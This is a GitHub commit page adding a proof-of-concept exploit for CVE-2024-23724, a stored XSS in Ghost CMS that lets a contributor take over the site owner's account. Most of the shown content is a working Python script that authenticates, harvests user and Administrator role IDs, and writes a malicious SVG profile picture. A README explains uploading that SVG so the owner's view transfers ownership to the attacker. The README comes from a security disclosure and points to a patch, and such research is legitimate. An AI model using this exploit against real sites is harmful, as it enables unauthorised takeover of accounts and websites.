-
Notifications
You must be signed in to change notification settings - Fork 238
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #11 from TeneBrae93/master
Adding CVE-2024-23724
- Loading branch information
Showing
5 changed files
with
229 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,102 @@ | ||
import requests | ||
import argparse | ||
|
||
# Set up argparse to accept command line arguments for username, password, and URL | ||
parser = argparse.ArgumentParser(description='Automatically generates an SVG file as a proof-of-concept for CVE-2024-23724') | ||
parser.add_argument('-u', '--username', required=True, type=str, help='Username for authentication') | ||
parser.add_argument('-p', '--password', required=True, type=str, help='Password for authentication') | ||
parser.add_argument('-t', '--target', required=True, type=str, help='Target URL for the Ghost API') | ||
args = parser.parse_args() | ||
|
||
# Base URL for the Ghost API | ||
base_url = args.target | ||
|
||
# URL for the authentication POST request | ||
auth_url = f"{base_url}:3001/ghost/api/admin/session" | ||
|
||
# Headers for the authentication request | ||
auth_headers = { | ||
"Content-Type": "application/json;charset=UTF-8", | ||
"X-Ghost-Version": "5.75", | ||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", | ||
"Accept": "text/plain, */*; q=0.01" | ||
} | ||
|
||
# Payload for the authentication request using command line arguments | ||
auth_payload = { | ||
"username": args.username, | ||
"password": args.password | ||
} | ||
|
||
# Send the authentication POST request | ||
auth_response = requests.post(auth_url, json=auth_payload, headers=auth_headers) | ||
|
||
# Check if the authentication was successful and extract the cookie | ||
if auth_response.status_code == 201 and 'Set-Cookie' in auth_response.headers: | ||
set_cookie_header = auth_response.headers['Set-Cookie'] | ||
session_cookie = set_cookie_header.split(';')[0] | ||
print("Session Cookie:", session_cookie) | ||
else: | ||
print("Failed to authenticate. Status code:", auth_response.status_code) | ||
print("Response body:", auth_response.text) | ||
exit() | ||
|
||
# Step 2: Make the GET request using the obtained cookie | ||
|
||
# URL for the GET request | ||
get_url = "http://localhost:3001/ghost/api/admin/users/?include=roles" | ||
|
||
# Headers for the GET request, including the session cookie | ||
get_headers = { | ||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36", | ||
"Content-Type": "application/json; charset=UTF-8", | ||
"Accept": "application/json, text/javascript, */*; q=0.01", | ||
"X-Ghost-Version": "5.75", | ||
"Cookie": session_cookie | ||
} | ||
|
||
# Send the GET request | ||
get_response = requests.get(get_url, headers=get_headers) | ||
|
||
# Check if the GET request was successful | ||
if get_response.status_code == 200: | ||
try: | ||
users_data = get_response.json()["users"] | ||
# Find the user with the matching username | ||
user_info = next((user for user in users_data if user["email"] == args.username), None) | ||
|
||
# Find a user with the "Administrator" role to get the Role ID | ||
admin_role_info = next((user for user in users_data if any(role['name'] == 'Administrator' for role in user['roles'])), None) | ||
admin_role_id = admin_role_info['roles'][0]['id'] if admin_role_info else '[Admin-Role-ID]' | ||
|
||
if user_info: | ||
# Extract required user information | ||
user_id = user_info["id"] | ||
username = user_info["name"] | ||
slug_name = user_info["slug"] | ||
user_email = user_info["email"] | ||
|
||
# Read the SVG template from a file | ||
with open("boilerplate.svg", "r") as file: | ||
svg_template = file.read() | ||
|
||
# Replace placeholders in the SVG template | ||
svg_output = svg_template.replace('[User-ID]', user_id) | ||
svg_output = svg_output.replace('[User-Name]', username) | ||
svg_output = svg_output.replace('[Slug-Name]', slug_name) | ||
svg_output = svg_output.replace('[User-Email]', user_email) | ||
svg_output = svg_output.replace('[Admin-Role-ID]', admin_role_id) | ||
|
||
# Write the modified SVG to a new file | ||
with open("tenant-takeover.svg", "w") as output_file: | ||
output_file.write(svg_output) | ||
|
||
print("SVG Code written to tenant-takeover.svg") | ||
else: | ||
print("User not found.") | ||
|
||
except Exception as e: | ||
print("Error processing the response or modifying the SVG:", e) | ||
else: | ||
print("GET Request failed. Status code:", get_response.status_code) | ||
print("Response body:", get_response.text) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
# CVE-2024-23724: Ghost CMS Stored XSS Leading to Owner Takeover | ||
|
||
## Information | ||
**Description:** Ghost CMS through 5.76.0 allows Stored XSS, and resultant privilege escalation in which a contributor can take ownership of the tenant, via an SVG profile picture that contains JavaScript code. <br> | ||
**Versions Affected:** Confirmed on 5.76.0 but affects all versions <br> | ||
**Version Fixed:** [Pull Request #19646](https://github.com/TryGhost/Ghost/pull/19646) (Open) <br> | ||
**Researcher:** Tyler Ramsbey (https://youtube.com/@TylerRamsbey) | ||
**Disclosure Link:** https://rhinosecuritylabs.com/blog/ | ||
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-23724 | ||
|
||
## Proof-of-Concept Exploit | ||
### Description | ||
Ghost CMS is affected by Stored Cross-Site Scripting in users' profile pictures. An authenticated attacker with the lowest privileged role (contributor) can exploit this to become the Owner of the Ghost CMS instance, leading to full tenant and account takeover. | ||
|
||
### Usage/Exploitation | ||
`Usage: python3 CVE-2024-23724 -u <username> -p <password> -t <target_url>` <br> | ||
|
||
![Alt-text that shows up on hover](poc.png) | ||
|
||
This will output the malicious SVG file to upload as a profile picture. When this picture is viewed by the "Owner" of the tenant, it will transfer ownership to the attacker. | ||
|
||
![Alt-text that shows up on hover](poc.gif) | ||
|
||
## Unofficial Patch | ||
### Description | ||
The vendor does not view this as a valid vector so will not be releasing an official patch, but it’s important to us at Rhino to not release unpatched vulnerabilities. While this is a unique case, we’ve decided to make the patch ourselves which is available at https://github.com/TryGhost/Ghost/pull/19646. |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.